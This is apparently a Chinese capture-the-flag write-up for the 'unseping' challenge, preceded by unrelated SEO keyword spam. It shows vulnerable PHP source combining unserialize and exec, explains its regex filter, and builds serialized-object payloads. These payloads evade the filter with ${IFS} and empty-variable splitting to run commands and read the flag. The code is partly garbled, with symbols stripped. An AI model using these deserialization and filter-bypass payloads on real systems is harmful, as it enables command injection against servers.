百度网站推广价格,怎样做影视网站,太原网站建设注意,百度营销登录nnnd#xff0c;这道题谁标的难度1#xff01;参考文章#xff1a;江苏工匠杯-unseping序列化#xff0c;正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客
这是这道题的源码#xff0c;一看exec和unserialize就是反序列化和命令执行#xff0c;还有个正则应…nnnd这道题谁标的难度1参考文章江苏工匠杯-unseping序列化正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客
这是这道题的源码一看exec和unserialize就是反序列化和命令执行还有个正则应该还要绕过
?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;}function __destruct(){if (in_array($this-method, array(ping))) {call_user_func_array(array($this, $this-method), $this-args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all(/(\|||;| |\/|cat|flag|tac|php|ls)/, $str, $pat_array)) {return $str;} else {echo dont hack;}}function __wakeup(){foreach($this-args as $k $v) {$this-args[$k] $this-waf($v);}}
}$ctf$_POST[ctf];
unserialize(base64_decode($ctf));
? 简单讲一下call_user_func_array调用回调函数大概就是这样网上找的例子本题中我猜测因为是在魔术方法里面所以第一个参数array()里面类用伪变量$this替代了
1普通使用 function a($b, $c) { echo $b; echo $c; } call_user_func_array(a, array(111, 222)); //输出 111 222 2调用类内部的方法 Class ClassA { function bc($b, $c) { $bc $b $c; echo $bc; } } call_user_func_array(array(ClassA,bc), array(111, 222)); //输出 333 这个正则表达式解释如下
/: 正则表达式的开始和结束的分隔符。(: 开始一个捕获组用于将匹配的结果保存在结果数组中。\|: 匹配一个垂直线字符||: 逻辑或操作符用于匹配多个模式之一。: 匹配一个和字符;: 匹配一个分号字符;: 匹配一个空格字符\/: 匹配一个斜杠字符/cat: 匹配字符串catflag: 匹配字符串flagtac: 匹配字符串tacphp: 匹配字符串phpls: 匹配字符串ls): 结束捕获组。/: 正则表达式的结束符。
综上所述该正则表达式将匹配字符串中的垂直线字符|、和字符、分号字符;、空格字符、斜杠字符/以及字符串cat、flag、tac、php、ls。
空格被过滤了但是我们写命令的时候还需要空格怎么办
我只知道一个IFS空格使用的时候写成${IFS}起到空格的作用。
上网查是一个特殊变量使用$的形式起到空变量的作用放在字符串中间绕过字符串过滤又不会对原字符串产生影响 魔术方法
__construct() //创建对象时触发
__wakeup() //执行unserialize()时先会调用这个函数 okk到这里差不多读懂代码了代码流程将我们的base64编码并且序列化的数据经过post请求发送到PHP文件处理代码首先接受数据然后base64解码反序列化又因为wakeup这个魔术方法在反序列化前会被优先调用所以执行wakeup方法遍历关联数组args将每个键对应的值用waf方法进行正则匹配如果匹配通过后返回原字符串否则打印hack由此可以看出args存放的是系统命令这些。然后执行反序列化对象被重新创建后无调用又被销毁触发destruct魔术方法:in_array函数内容确定了method值为ping然后call_user_func_array调用回调函数调用ping函数将args数组内容作为ping函数的参数然后exec执行系统命令结果存到resultvar_dump打印类型和值 上面的流程已经说的很详细了我们先来试试水看看能不能执行命令
别忘了args是数组形式哦 ?php
class ease
{private $method;private $args;function __construct($method, $args){$this-method $method;$this-args $args;}
}
$object new ease(ping,array(id));
$ser serialize($object);
$ser base64_encode($ser);
echo $ser;
? 成功执行id命令 接下来看看当前目录下的文件args传入参数变为array(l$s)正则匹配会匹配整个l$s但是$是空变量最后解析出来还是ls flag文件是数组的第一个元素 find 查看当前及子目录下的所有文件我们可以使用cat 直接查看当前目录下的文件内容不需要再编码来回转了 payload
array(c$at${IFS}find)使用反引号是因为会优先执行反引号里面的命令 成功读出flag不懂多看一下我写的流程思路就明白了